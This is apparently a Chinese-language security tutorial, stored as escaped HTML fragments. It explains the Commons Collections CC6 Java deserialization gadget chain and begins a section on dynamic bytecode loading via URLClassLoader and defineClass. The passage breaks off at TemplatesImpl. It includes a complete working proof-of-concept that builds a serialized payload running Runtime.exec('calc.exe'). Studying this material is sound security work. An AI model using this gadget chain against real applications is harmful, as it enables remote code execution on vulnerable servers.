    CC1\u7684\u5229\u7528\u94fe\u5728Java 8u71\u4ee5\u540e\u5c31\u4e0d\u80fd\u518d\u5229\u7528\u4e86\u4e3b\u8981\u539f\u56e0\u662f\u662fsun.reflect.annotation.AnnotationInvocationHandler#readObject\u7684\u903b\u8f91\u53d8\u5316\u4e86<\/p>\n\n\n\n
    CC6\u5219\u89e3\u51b3\u4e86\u9ad8\u7248\u672cJava\u7684\u5229\u7528\u95ee\u9898\uff0c\u4e5f\u662fcc\u5e93\u4e2d\u6bd4\u8f83\u901a\u7528\u7684\u5229\u7528\u94fe<\/p>\n\n\n\n
    \u7b80\u5316\u7248\u5229\u7528\u94fe<\/h2>\n\n\n\n
    \/*\nGadget chain:\njava.io.ObjectInputStream.readObject()\njava.util.HashMap.readObject()\njava.util.HashMap.hash()\norg.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()\norg.apache.commons.collections.keyvalue.TiedMapEntry.getValue()\norg.apache.commons.collections.map.LazyMap.get()\norg.apache.commons.collections.functors.ChainedTransformer.transform()\norg.apache.commons.collections.functors.InvokerTransformer.transform()\njava.lang.reflect.Method.invoke()\njava.lang.Runtime.exec()\n*\/<\/code><\/pre>\n\n\n\n
    \u4e3b\u8981\u89e6\u53d1\u70b9\u8fd8\u662forg.apache.commons.collections.map.LazyMap.get()\uff0c\u89e3\u51b3Java\u2fbc\u7248\u672c\u5229\u2f64\u95ee\u9898\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u5728\u627e\u4e0a\u4e0b\u2f42\u4e2d\u662f\u5426\u8fd8\u6709\u5176\u4ed6\u8c03\u2f64
    LazyMap#get() \u7684\u5730\u2f45<\/strong><\/p>\n\n\n\n
    \u627e\u5230\u7684\u7c7b\u662forg.apache.commons.collections.keyvalue.TiedMapEntry \uff0c\u5728\u5176getValue\u2f45\u6cd5\u4e2d\u8c03\u2f64\u4e86this.map.get \uff0c\u2f7d\u5176hashCode\u2f45\u6cd5\u8c03\u2f64\u4e86getValue\u2f45\u6cd5<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u6240\u4ee5\uff0c\u6b32\u89e6\u53d1LazyMap\u5229\u2f64\u94fe\uff0c\u8981\u627e\u5230\u5c31\u662f\u54ea\u2fa5\u8c03\u2f64\u4e86TiedMapEntry#hashCode<\/p>\n\n\n\n
    \u5f53HashMap\u5728put\u4e00\u4e2akey\u7684\u65f6\u5019\uff0c\u9700\u8981\u5148\u8ba1\u7b97\u8fd9\u4e2akey\u7684hash\u503c\uff0c\u4f1a\u8d70\u5230HashMap.hash(key)->key.hashCode()<\/strong><\/p>\n\n\n\n
    ysoserial\u4e2d\uff0c\u662f\u5229\u2f64java.util.HashSet#readObject\u5230HashMap#put()\u5230HashMap#hash(key)\u6700\u540e\u5230TiedMapEntry#hashCode()
    \u5b9e\u9645\u4e0a\uff0c\u5728java.util.HashMap#readObject\u4e2d\u5c31\u53ef\u4ee5\u627e\u5230HashMap#hash()\u7684\u8c03\u2f64<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u5728HashMap\u7684readObject\u65b9\u6cd5\u4e2d\uff0c\u8c03\u7528\u5230\u4e86hash(key)\uff0c\u800chash\u65b9\u6cd5\u4e2d\uff0c\u8c03\u7528\u5230\u4e86key.hashCode()\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u53ea\u9700\u8981\u8ba9\u8fd9\u4e2akey\u7b49\u4e8eTiedMapEntry\u5bf9\u8c61\uff0c\u5373\u53ef\u8fde\u63a5\u4e0a\u524d\u9762\u7684\u5206\u6790\u8fc7\u7a0b\uff0c\u6784\u6210\u4e00\u4e2a\u5b8c\u6574\u7684Gadget\u3002<\/p>\n\n\n\n
    Gadget<\/h2>\n\n\n\n
    Transformer[] fakeTransformers = new Transformer[] {new \nConstantTransformer(1)};\nTransformer[] transformers = new Transformer[] {\nnew ConstantTransformer(Runtime.class),\nnew InvokerTransformer(\"getMethod\", new Class[] { String.class,\nClass[].class }, new \nObject[] { \"getRuntime\",\nnew Class[0] }),\nnew InvokerTransformer(\"invoke\", new Class[] { Object.class,\nObject[].class }, new \nObject[] { null, new Object[0] }),\nnew InvokerTransformer(\"exec\", new Class[] { String.class },\nnew String[] { \"calc.exe\" }),\nnew ConstantTransformer(1),\n};\nTransformer transformerChain = new ChainedTransformer(fakeTransformers);\nMap innerMap = new HashMap();\nMap outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n
    \u73b0\u5728\u62ff\u5230\u4e86\u4e00\u4e2a\u6076\u610f\u7684LazyMap\u5bf9\u8c61outerMap\uff0c\u5c06\u5176\u4f5c\u4e3aTiedMapEntry\u7684map\u5c5e\u6027<\/p>\n\n\n\n
    TiedMapEntry tme = new TiedMapEntry(outerMap, \"keykey\");<\/code><\/pre>\n\n\n\n
    \u63a5\u7740\u4e3a\u4e86\u8c03\u7528TiedMapEntry#hashCode()\uff0c\u6211\u4eec\u9700\u8981\u8bb2tme\u5bf9\u8c61\u4f5c\u4e3aHashMap\u7684\u4e00\u4e2akey\u3002\u8fd9\u91cc\u9700\u8981\u65b0\u5efa\u4e00\u4e2aHashMap\uff0c\u800c\u4e0d\u662f\u7528\u4e4b\u524dLazyMap\u5229\u7528\u94fe\u91cc\u7684\u90a3\u4e2aHashMap\uff0c\u4e24\u8005\u6ca1\u6709\u4efb\u4f55\u5173\u7cfb<\/strong><\/p>\n\n\n\n
    Map expMap = new HashMap();\nexpMap.put(tme, \"valuevalue\");<\/code><\/pre>\n\n\n\n
    \u5c06\u771f\u6b63\u7684transformers\u6570\u7ec4\u8bbe\u7f6e\u8fdb\u6765\uff0c\u6700\u540e\u5c06\u8fd9\u4e2aexpMap\u4f5c\u4e3a\u5bf9\u8c61\u6765\u5e8f\u5217\u5316<\/p>\n\n\n\n
    \/\/ ==================\n\/\/ \u5c06\u771f\u6b63\u7684transformers\u6570\u7ec4\u8bbe\u7f6e\u8fdb\u6765\nField f = ChainedTransformer.class.getDeclaredField(\"iTransformers\");\nf.setAccessible(true);\nf.set(transformerChain, transformers);\n\/\/ ==================\n\/\/ \u2f63\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\nByteArrayOutputStream barr = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(barr);\noos.writeObject(expMap);\noos.close();<\/code><\/pre>\n\n\n\n
    \u4f46\u662f\u6267\u884c\u540e\u53d1\u73b0\u6ca1\u6709\u5f39\u7a97<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u5173\u952e\u70b9\u5728LazyMap\u7684get\u65b9\u6cd5\uff0c\u4e0b\u56fe\u6846\u4e2d\u7684\u90e8\u5206\u5c31\u662f\u6700\u540e\u89e6\u53d1\u547d\u4ee4\u6267\u884c\u7684transform()\uff0c\u4f46\u662f\u8fd9\u4e2aif\u8bed\u53e5\u6ca1\u6709\u8fdb\u5165\uff0c\u56e0\u4e3amap.containsKey(key)\u7684\u7ed3\u679c\u662ftrue<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u4f46\u662fouterMap\u4e2d\u660e\u660e\u6ca1\u6709\u653e\u5165\u4e00\u4e2aKey\u662fkeykey\u7684\u5bf9\u8c61\uff0c\u770b\u4e00\u4e0b\u4e4b\u524d\u7684\u4ee3\u7801\uff0c\u552f\u4e00\u51fa\u73b0keykey\u7684\u5730\u65b9\u5c31\u662f\u5728TiedMapEntry\u7684\u6784\u9020\u51fd\u6570\u91cc\uff0c\u4f46TiedMapEntry\u7684\u6784\u9020\u51fd\u6570\u5e76\u6ca1\u6709\u4fee\u6539outerMap<\/p>\n\n\n\n
    Map innerMap = new HashMap();\nMap outerMap = LazyMap.decorate(innerMap, transformerChain);\nTiedMapEntry tme = new TiedMapEntry(outerMap, \"keykey\");\nMap expMap = new HashMap();\nexpMap.put(tme, \"valuevalue\");<\/code><\/pre>\n\n\n\n
    \u5176\u5b9e\uff0c\u8fd9\u4e2a\u5173\u952e\u70b9\u5c31\u51fa\u5728expMap.put(tme,”valuevalue”);\u8fd9\u4e2a\u8bed\u53e5\u91cc\u9762\uff0cHashMap\u7684put\u65b9\u6cd5\u4e2d\uff0c\u4e5f\u6709\u8c03\u7528\u5230hash(key)<\/p>\n\n\n\n
    public V put(K key, V value) {\nreturn putVal(hash(key), key, value, false, true);\n}<\/code><\/pre>\n\n\n\n
    \u8fd9\u91cc\u5c31\u5bfc\u81f4LazyMap\u8fd9\u4e2a\u5229\u7528\u94fe\u5728\u8fd9\u91cc\u88ab\u8c03\u7528\u4e86\u4e00\u904d\uff0c\u56e0\u4e3a\u524d\u9762\u7528\u4e86fakeTransformers\uff0c\u6240\u4ee5\u6b64\u65f6\u5e76\u6ca1\u6709\u89e6\u53d1\u547d\u4ee4\u6267\u884c\uff0c\u4f46\u5b9e\u9645\u4e0a\u4e5f\u5bf9\u6211\u4eec\u6784\u9020Payload\u4ea7\u751f\u4e86\u5f71\u54cd\uff0c\u89e3\u51b3\u65b9\u6cd5\u5f88\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5c06keykey\u8fd9\u4e2aKey\uff0c\u518d\u4eceouterMap\u4e2d\u79fb\u9664\u5373\u53ef\uff0couterMap.remove(“keykey”)<\/p>\n\n\n\n
    \u5b8c\u6574POC<\/p>\n\n\n\n
    package client;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport java.io.*;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CommonCollections6 {\n        public static void main(String[] args) throws Exception {\n            Transformer[] fakeTransformers = new Transformer[] {new\n                    ConstantTransformer(1)};\n            Transformer[] transformers = new Transformer[] {\n                    new ConstantTransformer(Runtime.class),\n                    new InvokerTransformer(\"getMethod\", new Class[] {\n                            String.class,\n                            Class[].class }, new Object[] { \"getRuntime\",\n                            new Class[0] }),\n                    new InvokerTransformer(\"invoke\", new Class[] {\n                            Object.class,\n                            Object[].class }, new Object[] { null, new\n                            Object[0] }),\n                    new InvokerTransformer(\"exec\", new Class[] { String.class\n                    },\n                            new String[] { \"calc.exe\" }),\n                    new ConstantTransformer(1),\n            };\n            Transformer transformerChain = new\n                    ChainedTransformer(fakeTransformers);\n            \/\/ \u4e0d\u518d\u4f7f\u2f64\u539fCommonsCollections6\u4e2d\u7684HashSet\uff0c\u76f4\u63a5\u4f7f\u2f64HashMap\n            Map innerMap = new HashMap();\n            Map outerMap = LazyMap.decorate(innerMap, transformerChain);\n            TiedMapEntry tme = new TiedMapEntry(outerMap, \"keykey\");\n            Map expMap = new HashMap();\n            expMap.put(tme, \"valuevalue\");\n            outerMap.remove(\"keykey\");\n            Field f =\n                    ChainedTransformer.class.getDeclaredField(\"iTransformers\");\n            f.setAccessible(true);\n            f.set(transformerChain, transformers);\n            \/\/ ==================\n            \/\/ \u2f63\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\n            ByteArrayOutputStream barr = new ByteArrayOutputStream();\n            ObjectOutputStream oos = new ObjectOutputStream(barr);\n            oos.writeObject(expMap);\n            oos.close();\n            \/\/ \u672c\u5730\u6d4b\u8bd5\u89e6\u53d1\n            System.out.println(barr);\n            ObjectInputStream ois = new ObjectInputStream(new\n                    ByteArrayInputStream(barr.toByteArray()));\n            Object o = (Object)ois.readObject();\n        }\n}\n<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u5c0f\u7ed3<\/h2>\n\n\n\n
    CC6\u5176\u5b9e\u5e76\u6ca1\u6709\u90a3\u4e48\u590d\u6742\uff0cCC6\u7684\u76ee\u7684\u662f\u8c03\u7528TiedMapEntry.hashCode->TiedMapEntry.getValue->map.get<\/strong><\/p>\n\n\n\n
    \u5df2\u77e5\u5f53HashMap.readObject\u7684\u65f6\u5019\u4f1a\u8c03\u7528hash(key)\uff0chash(key)\u4f1a\u8c03\u7528key.hashCode\uff0c\u6211\u4eec\u7684\u76ee\u7684\u662f\u8c03\u7528TiedMapEntry.hashCode<\/strong>\uff0c\u6240\u4ee5\u6211\u4eec\u505a\u4e86\u64cd\u4f5c<\/p>\n\n\n\n
                TiedMapEntry tme = new TiedMapEntry(outerMap, \"keykey\");\n            Map expMap = new HashMap();<\/code><\/pre>\n\n\n\n
    \u83b7\u53d6TiedMapEntry\u5bf9\u8c61\u7136\u540e\u5c06\u5176\u585e\u5165\u65b0\u7684HashMap\u4e2d\u8fd9\u6837\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5c31\u4f1a\u8d70HashMap.readObject()->HashMap.hash(tme)->tme.hashCode(TiedMapEntry.hashCode)\u540e\u7eed\u6267\u884c\u6211\u4eec\u7684chaintransformer<\/p>\n\n\n\n
    \u81f3\u4e8eouterMap.remove(“keykey”);\u8fd9\u4e2a\u64cd\u4f5c\u7684\u89e3\u91ca\u4e5f\u5f88\u7b80\u5355\uff0cHashMap.put\u4e5f\u4f1a\u8c03\u7528HashMap.hash()\u5bfc\u81f4\u63d0\u524d\u6267\u884cchaintransformer<\/p>\n\n\n\n
    \u56e0\u4e3a\u8fd9\u4e2a\u65f6\u5019\u653e\u7684\u662f\u5047\u94fe\u53ea\u4f1a\u8fd4\u56de1\uff0cLazyMap.put(“keykey”,1)\u7239\u65e5\u6b21\u8d70\u5230LazyMap.get\u7684\u65f6\u5019\u53d1\u73b0map.containsKey(“keykey”)\u5b58\u5728\u5bfc\u81f4\u540e\u7eed\u4e0d\u6267\u884c\u56e0\u6b64\u9020\u6210\u5f71\u54cd\uff0c\u6240\u4ee5\u5220\u9664LazyMap\u4e2d\u4fdd\u5b58\u7684keykey\u5c31\u884c<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    Java\u4e2d\u52a8\u6001\u52a0\u8f7d\u5b57\u8282\u7801\u7684\u65b9\u6cd5<\/h1>\n\n\n\n
    \u4ec0\u4e48\u662fJava\u7684”\u5b57\u8282\u7801”<\/h2>\n\n\n\n
    \u4e25\u683c\u6765\u8bf4\uff0cJava\u5b57\u8282\u7801\uff08ByteCode\uff09\u5176\u5b9e\u4ec5\u4ec5\u6307\u7684\u662fJava\u865a\u62df\u673a\u6267\u884c\u4f7f\u7528\u7684\u4e00\u7c7b\u6307\u4ee4\uff0c\u901a\u5e38\u88ab\u5b58\u50a8\u5728.class\u6587\u4ef6\u4e2d\u3002<\/p>\n\n\n\n
    \u4f17\u6240\u5468\u77e5\uff0c\u4e0d\u540c\u5e73\u53f0\u3001\u4e0d\u540cCPU\u7684\u8ba1\u7b97\u673a\u6307\u4ee4\u6709\u5dee\u5f02\uff0c\u4f46\u56e0\u4e3aJava\u662f\u4e00\u95e8\u8de8\u5e73\u53f0\u7684\u7f16\u8bd1\u578b\u8bed\u8a00\uff0c\u6240\u4ee5\u8fd9\u4e9b\u5dee\u5f02\u5bf9\u4e8e\u4e0a\u5c42\u5f00\u53d1\u8005\u6765\u8bf4\u662f\u900f\u660e\u7684\uff0c\u4e0a\u5c42\u5f00\u53d1\u8005\u53ea\u9700\u8981\u5c06\u81ea\u5df1\u7684\u4ee3\u7801\u7f16\u8bd1\u4e00\u6b21\uff0c\u5373\u53ef\u8fd0\u884c\u5728\u4e0d\u540c\u5e73\u53f0\u7684JVM\u865a\u62df\u673a\u4e2d<\/p>\n\n\n\n
    \u751a\u81f3\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u7528\u7c7b\u4f3cScala\u3001Kotlin\u8fd9\u6837\u7684\u8bed\u8a00\u7f16\u5199\u4ee3\u7801\uff0c\u53ea\u8981\u4f60\u7684\u7f16\u8bd1\u5668\u80fd\u591f\u5c06\u4ee3\u7801\u7f16\u8bd1\u6210.class\u6587\u4ef6\uff0c\u90fd\u53ef\u4ee5\u5728JVM\u865a\u62df\u673a\u4e2d\u8fd0\u884c<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u4f46\u662f\u8fd9\u7ae0\u6240\u8bf4\u7684”\u5b57\u8282\u7801”\uff0c\u53ef\u4ee5\u7406\u89e3\u7684\u66f4\u5e7f\u4e49\u4e00\u4e9b–\u6240\u6709\u80fd\u591f\u6062\u590d\u6210\u4e00\u4e2a\u7c7b\u5e76\u5728JVM\u865a\u62df\u673a\u91cc\u52a0\u8f7d\u7684\u5b57\u8282\u5e8f\u5217\uff0c\u90fd\u5728\u8ba8\u8bba\u8303\u56f4\u5185\u3002<\/p>\n\n\n\n
    \u5229\u7528URLClassLoader\u52a0\u8f7d\u8fdc\u7a0bclass\u6587\u4ef6<\/h2>\n\n\n\n
    Java\u7684ClassLoader\u662f\u7528\u6765\u52a0\u8f7d\u5b57\u8282\u7801\u6587\u4ef6\u6700\u57fa\u7840\u7684\u65b9\u6cd5\uff0cClassLoader\u662f\u4e00\u4e2a\u52a0\u8f7d\u5668\uff0c\u544a\u8bc9Java\u865a\u62df\u673a\u5982\u4f55\u52a0\u8f7d\u8fd9\u4e2a\u7c7b\u3002Java\u9ed8\u8ba4\u7684Class Loader\u5c31\u662f\u6839\u636e\u7c7b\u540d\u6765\u52a0\u8f7d\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u540d\u662f\u7c7b\u5b8c\u6574\u8def\u5f84\uff0cjava.lang.Runtime<\/p>\n\n\n\n
    URLClassLoader\u5b9e\u9645\u4e0a\u662f\u6211\u4eec\u5e73\u65f6\u9ed8\u8ba4\u4f7f\u7528\u7684AppClassLoader\u7684\u7236\u7c7b\uff0c\u6240\u4ee5\u6211\u4eec\u89e3\u91caURLClassLoader\u7684\u5de5\u4f5c\u8fc7\u7a0b\u5b9e\u9645\u4e0a\u5c31\u662f\u5728\u89e3\u91ca\u9ed8\u8ba4\u7684Java\u7c7b\u52a0\u8f7d\u5668\u7684\u5de5\u4f5c\u6d41\u7a0b<\/p>\n\n\n\n
    \u6b63\u5e38\u60c5\u51b5\u4e0b\uff0cJava\u4f1a\u6839\u636e\u914d\u7f6e\u9879sun.boot.class.path\u548cjava.class.path\u4e2d\u5217\u4e3e\u5230\u7684\u57fa\u7840\u8def\u5f84\uff08\u8fd9\u4e9b\u8def\u5f84\u662f\u7ecf\u8fc7\u5904\u7406\u540e\u7684java.net.URL\u7c7b\uff09\u6765\u5bfb\u627e.class\u6587\u4ef6\u6765\u52a0\u8f7d\uff0c\u800c\u8fd9\u4e2a\u57fa\u7840\u8def\u5f84\u6709\u5206\u4e3a\u4e09\u79cd\u60c5\u51b5\uff1a<\/p>\n\n\n\n
      \n
    • URL\u4e0d\u4ee5\u659c\u6760\/\u7ed3\u5c3e\uff0c\u5219\u8ba4\u4e3a\u662f\u4e00\u4e2aJAR\u6587\u4ef6\uff0c\u4f7f\u7528JarLoader\u6765\u5bfb\u627e\u7c7b\uff0c\u5373\u4e3a\u5728jar\u5305\u4e2d\u5bfb\u627e.class\u6587\u4ef6<\/li>\n\n\n\n
    • URL\u4ee5\u659c\u6760\/\u7ed3\u5c3e\uff0c\u4e14\u534f\u8bae\u540d\u662ffile\uff0c\u5219\u4f7f\u7528FileLoader\u6765\u5bfb\u627e\u7c7b\uff0c\u5373\u4e3a\u5728\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e2d\u5bfb\u627e.class\u6587\u4ef6<\/li>\n\n\n\n
    • URL\u4ee5\u659c\u6760\/\u7ed3\u5c3e\uff0c\u4e14\u534f\u8bae\u540d\u4e0d\u662ffile\uff0c\u5219\u4f7f\u7528\u6700\u57fa\u7840\u7684Loader\u6765\u5bfb\u627e\u7c7b<\/li>\n<\/ul>\n\n\n\n
      \u6b63\u5e38\u5f00\u53d1\u7684\u65f6\u5019\u901a\u5e38\u9047\u5230\u7684\u662f\u524d\u4e24\u8005\uff0c\u4ec0\u4e48\u65f6\u5019\u624d\u4f1a\u51fa\u73b0\u4f7f\u7528Loader\u5bfb\u627e\u7c7b\u7684\u60c5\u51b5\uff0c\u975efile\u534f\u8bae\u7684\u60c5\u51b5\u4e0b\uff0c\u6700\u5e38\u89c1\u7684\u5c31\u662fhttp\u534f\u8bae<\/p>\n\n\n\n
      \u4f7f\u7528HTTP\u534f\u8bae\u6765\u6d4b\u8bd5\u4e00\u4e0b\uff0c\u770bJava\u662f\u5426\u80fd\u4ece\u8fdc\u7a0bHTTP\u670d\u52a1\u5668\u4e0a\u52a0\u8f7d.class\u6587\u4ef6<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u6210\u529f\u8bf7\u6c42\u5230\u4e86\/Hello.class\u6587\u4ef6\uff0c\u5e76\u6267\u884c\u4e86\u6587\u4ef6\u91cc\u7684\u5b57\u8282\u7801\u8f93\u51fa\u4e86”Hello World”\uff0c\u6240\u4ee5\u4f5c\u4e3a\u653b\u51fb\u8005\uff0c\u5982\u679c\u6211\u4eec\u63a7\u5236\u76ee\u6807Java ClassLoader\u7684\u57fa\u7840\u8def\u5f84\u4e3a\u4e00\u4e2ahttp\u670d\u52a1\u5668\uff0c\u5219\u53ef\u4ee5\u5229\u7528\u8fdc\u7a0b\u52a0\u8f7d\u7684\u65b9\u5f0f\u6267\u884c\u4efb\u610f\u4ee3\u7801\u4e86<\/p>\n\n\n\n
      \u5229\u7528Class Loader#defineClass\u76f4\u63a5\u52a0\u8f7d\u5b57\u8282\u7801<\/h2>\n\n\n\n
      \u4e0d\u7ba1\u662f\u52a0\u8f7d\u8fdc\u7a0bclass\u6587\u4ef6\uff0c\u8fd8\u662f\u672c\u5730\u7684class\u6216jar\u6587\u4ef6\uff0cJava\u90fd\u7ecf\u5386\u7684\u662f\u4e0b\u9762\u4e09\u4e2a\u65b9\u6cd5\u8c03\u7528<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u5176\u4e2d\uff1a<\/p>\n\n\n\n
        \n
      • loadClass\u7684\u4f5c\u7528\u662f\u4ece\u5df2\u52a0\u8f7d\u7684\u7c7b\u7f13\u5b58\u3001\u7236\u52a0\u8f7d\u5668\u7b49\u4f4d\u7f6e\u5bfb\u627e\u7c7b\uff08\u8fd9\u91cc\u5b9e\u9645\u4e0a\u662f\u53cc\u4eb2\u59d4\u6d3e\u673a\u5236\uff09\uff0c\u5728\u524d\u9762\u6ca1\u6709\u627e\u5230\u7684\u60c5\u51b5\u4e0b\uff0c\u6267\u884cfindClass<\/li>\n\n\n\n
      • findClass\u7684\u4f5c\u7528\u662f\u6839\u636e\u57fa\u7840URL\u6307\u5b9a\u7684\u65b9\u5f0f\u6765\u52a0\u8f7d\u7c7b\u7684\u5b57\u8282\u7801\uff0c\u5c31\u50cf\u524d\u9762\u8bf4\u5230\u7684\uff0c\u53ef\u80fd\u4f1a\u5728\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u3001jar\u5305\u6216\u8fdc\u7a0bhttp\u670d\u52a1\u5668\u4e0a\u8bfb\u53d6\u5b57\u8282\u7801\uff0c\u7136\u540e\u4ea4\u7ed9defineClass<\/li>\n\n\n\n
      • defineClass\u7684\u4f5c\u7528\u662f\u5904\u7406\u524d\u9762\u4f20\u5165\u7684\u5b57\u8282\u7801\uff0c\u5c06\u5176\u5904\u7406\u6210\u771f\u6b63\u7684Java\u7c7b<\/li>\n<\/ul>\n\n\n\n
        \u6240\u4ee5\u53ef\u89c1\uff0c\u771f\u6b63\u6838\u5fc3\u7684\u90e8\u5206\u5176\u5b9e\u662fdefineClass\uff0c\u4ed6\u51b3\u5b9a\u4e86\u5982\u4f55\u5c06\u4e00\u6bb5\u5b57\u8282\u6d41\u8f6c\u53d8\u6210\u4e00\u4e2aJava\u7c7b\uff0cJava\u9ed8\u8ba4\u7684ClassLoader#defineClass\u662f\u4e00\u4e2anative\u65b9\u6cd5\uff0c\u903b\u8f91\u5728JVM\u7684C\u8bed\u8a00\u4ee3\u7801\u4e2d<\/p>\n\n\n\n
        \u7f16\u5199\u7b80\u5355\u7684\u4ee3\u7801\u6f14\u793a\u5982\u4f55\u8ba9\u7cfb\u7edf\u7684defineClass\u6765\u76f4\u63a5\u52a0\u8f7d\u5b57\u8282\u7801<\/p>\n\n\n\n
        \u8fd9\u6bb5\u4ee3\u7801\u901a\u8fc7\u53cd\u5c04\u8c03\u7528 ClassLoader.defineClass\uff0c\u628a\u4e00\u6bb5 Base64 \u7f16\u7801\u540e\u7684 class \u5b57\u8282\u7801\u5b9a\u4e49\u6210 JVM \u4e2d\u7684 Hello \u7c7b\u3002
        \u8fd9\u4e2a Hello \u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u5df2\u7ecf\u5b58\u5728\u4e8e\u5b57\u8282\u7801\u4e2d\u3002
        defineClass \u53ea\u8d1f\u8d23\u5b9a\u4e49\u7c7b\uff0c\u4e0d\u4f1a\u6267\u884c\u6784\u9020\u65b9\u6cd5\u3002
        hello.newInstance() \u521b\u5efa Hello \u5bf9\u8c61\u65f6\uff0c\u624d\u4f1a\u8c03\u7528\u65e0\u53c2\u6784\u9020\u65b9\u6cd5\uff0c\u4ece\u800c\u6267\u884c\u6784\u9020\u51fd\u6570\u91cc\u7684\u4ee3\u7801\u3002<\/p>\n\n\n\n
        package client;\n\nimport java.lang.reflect.Method;\nimport java.util.Base64;\npublic class HelloDefineClass {\n    public static void main(String[] args) throws Exception {\n        Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", String.class, byte[].class, int.class, int.class);\n        defineClass.setAccessible(true);\n        byte[] code = Base64.getDecoder().decode(\"yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM\");\n        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), \"Hello\", code, 0, code.length);\n        hello.newInstance();\n    }\n}\n<\/code><\/pre>\n\n\n\n
        \u6ce8\u610f\u4e00\u70b9\uff0c\u5728defineClass\u88ab\u8c03\u7528\u7684\u65f6\u5019\uff0c\u7c7b\u5bf9\u8c61\u662f\u4e0d\u4f1a\u88ab\u521d\u59cb\u5316\u7684\uff0c\u53ea\u6709\u8fd9\u4e2a\u5bf9\u8c61\u663e\u793a\u5730\u8c03\u7528\u5176\u6784\u9020\u51fd\u6570\uff0c\u521d\u59cb\u5316\u4ee3\u7801\u624d\u80fd\u88ab\u6267\u884c\u3002\u800c\u4e14\uff0c\u5373\u4f7f\u6211\u4eec\u5c06\u521d\u59cb\u5316\u4ee3\u7801\u653e\u5728\u7c7b\u7684static\u5757\u4e2d\uff0c\u5728defineClass\u65f6\u4e5f\u65e0\u6cd5\u88ab\u76f4\u63a5\u8c03\u7528\u5230\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u8981\u4f7f\u7528defineClass\u5728\u76ee\u6807\u673a\u5668\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u9700\u8981\u60f3\u529e\u6cd5\u8c03\u7528\u6784\u9020\u51fd\u6570\u3002<\/p>\n\n\n\n
        \u6267\u884c\u4ee3\u7801\u8f93\u51fa\u4e86Hello World<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u56e0\u4e3a\u7cfb\u7edf\u7684ClassLoader#defineClass\u662f\u4e00\u4e2a\u4fdd\u62a4\u5c5e\u6027\uff0c\u6240\u4ee5\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u5728\u5916\u90e8\u8bbf\u95ee\uff0c\u4e0d\u5f97\u4e0d\u4f7f\u7528\u53cd\u5c04\u7684\u5f62\u5f0f\u6765\u8c03\u7528<\/p>\n\n\n\n
        \u5728\u5b9e\u9645\u573a\u666f\u4e2d\uff0c\u56e0\u4e3adefineClass\u65b9\u6cd5\u4f5c\u7528\u57df\u662f\u4e0d\u5f00\u653e\u7684\uff0c\u6240\u4ee5\u653b\u51fb\u8005\u5f88\u5c11\u80fd\u76f4\u63a5\u5229\u7528\u5230\u5b83\uff0c\u4f46\u5b83\u786e\u662f\u6211\u4eec\u5e38\u7528\u7684\u4e00\u4e2a\u653b\u51fb\u94feTemplatesImpl\u7684\u57fa\u77f3<\/p>\n\n\n\n
        \u5229\u7528TemplatesImpl\u52a0\u8f7d\u5b57\u8282\u7801<\/h2>\n\n\n\n
        \u4e0a\u5c42\u5f00\u53d1\u8005\u4e0d\u4f1a\u76f4\u63a5\u4f7f\u7528\u5230defineClass\u65b9\u6cd5\uff0c\u4f46\u662fJava\u5e95\u5c42\u8fd8\u662f\u6709\u4e00\u4e9b\u7c7b\u7528\u5230\u4e86\u5b83\u8fd9\u5c31\u662fTemplatesImpl<\/p>\n\n\n\n
